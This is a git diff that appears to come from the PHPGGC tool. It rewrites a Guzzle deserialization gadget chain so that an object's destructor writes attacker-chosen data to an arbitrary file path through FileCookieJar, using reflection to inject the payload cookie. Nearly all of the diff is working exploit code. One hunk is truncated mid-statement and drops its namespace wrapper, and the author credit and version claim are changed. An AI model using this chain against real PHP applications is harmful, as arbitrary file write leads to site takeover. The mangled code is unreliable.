diff --git a/gadgetchains/Guzzle/FW/1/chain.php b/gadgetchains/Guzzle/FW/1/chain.php index 961dfd48..837d55e9 100644 --- a/gadgetchains/Guzzle/FW/1/chain.php +++ b/gadgetchains/Guzzle/FW/1/chain.php @@ -4,15 +4,38 @@ class FW1 extends \PHPGGC\GadgetChain\FileWrite { - public static $version = '4.0.0-rc.2 <= 7.5.0+'; + public static $version = '7.0.0 <= *'; public static $vector = '__destruct'; - public static $author = 'cfreal'; + public static $author = 'TrekLaps'; + public static $information = 'File write via FileCookieJar. Content written as JSON array.'; public function generate(array $parameters) { - $path = $parameters['remote_path']; + $filename = $parameters['remote_path']; $data = $parameters['data']; - return new \GuzzleHttp\Cookie\FileCookieJar($path, $data); + // Create FileCookieJar pointing to target file + $jar = new \GuzzleHttp\Cookie\FileCookieJar($filename); + + // Create cookie with payload as value + $cookie = new \GuzzleHttp\Cookie\SetCookie([ + 'Name' => 'x', + 'Value' => $data, + 'Domain' => 'x', + 'Path' => '/', + 'Max-Age' => null, + 'Expires' => time() + 86400, + 'Secure' => false, + 'Discard' => false, + 'HttpOnly' => false, + ]); + + // Use reflection to set cookies array + $ref = new \ReflectionClass(\GuzzleHttp\Cookie\CookieJar::class); + $prop = $ref->getProperty('cookies'); + $prop->setAccessible(true); + $prop->setValue($jar, [$cookie]); + + return $jar; } } diff --git a/gadgetchains/Guzzle/FW/1/gadgets.php b/gadgetchains/Guzzle/FW/1/gadgets.php index 806f5854..a4f6422a 100644 --- a/gadgetchains/Guzzle/FW/1/gadgets.php +++ b/gadgetchains/Guzzle/FW/1/gadgets.php @@ -1,41 +1,46 @@ data = [ - 'Expires' => 1, - 'Discard' => false, - 'Value' => $data - ]; - } + public function __construct(array $data = []) + { + static $defaults = [ + 'Name' => null, + 'Value' => null, + 'Domain' => null, + 'Path' => '/', + 'Max-Age' => null, + 'Expires' => null, + 'Secure' => false, + 'Discard' => false, + 'HttpOnly' => false, + ]; + $this->data = array_replace($defaults, $data); } +} - class CookieJar - { - private $cookies = []; - private $strictMode; +class CookieJar +{ + private $cookies = []; + private $strictMode = false; - public function __construct($data) - { - $this->cookies = [new SetCookie($data)]; - } + public function setCookies(array $cookies) + { + $this->cookies = $cookies; } +} - class FileCookieJar extends CookieJar - { - private $filename; - private $storeSessionCookies = true; +class FileCookieJar extends CookieJar +{ + private $filename; + private $storeSessionCookies = true; - public function __construct($filename, $data) - { - parent::__construct($data); - $this->filename = $filename; - } + public function __construct(string $filename) + { + $this->filename = $filename; } -} \ No newline at end of file +}